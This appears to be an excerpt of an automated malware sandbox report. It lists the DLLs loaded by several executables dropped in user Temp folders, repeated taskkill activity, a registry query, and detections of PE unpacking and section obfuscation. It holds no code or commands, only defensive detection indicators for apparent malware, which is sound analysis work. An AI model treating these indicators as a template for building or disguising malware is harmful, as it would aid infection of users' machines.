Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Section loaded: sspicli.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 3296768 > 1048576

Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: file.exe

Static PE information: Raw size of frfapimt is bigger than: 0x100000 < 0x2b9200

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.a90000.0.unpack :EW;.rsrc:W;.idata :W;frfapimt:EW;qtisgtef:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;frfapimt:EW;qtisgtef:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.1f0000.0.unpack :EW;.rsrc:W;.idata :W;frfapimt:EW;qtisgtef:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;frfapimt:EW;qtisgtef:EW;.taggant:EW;
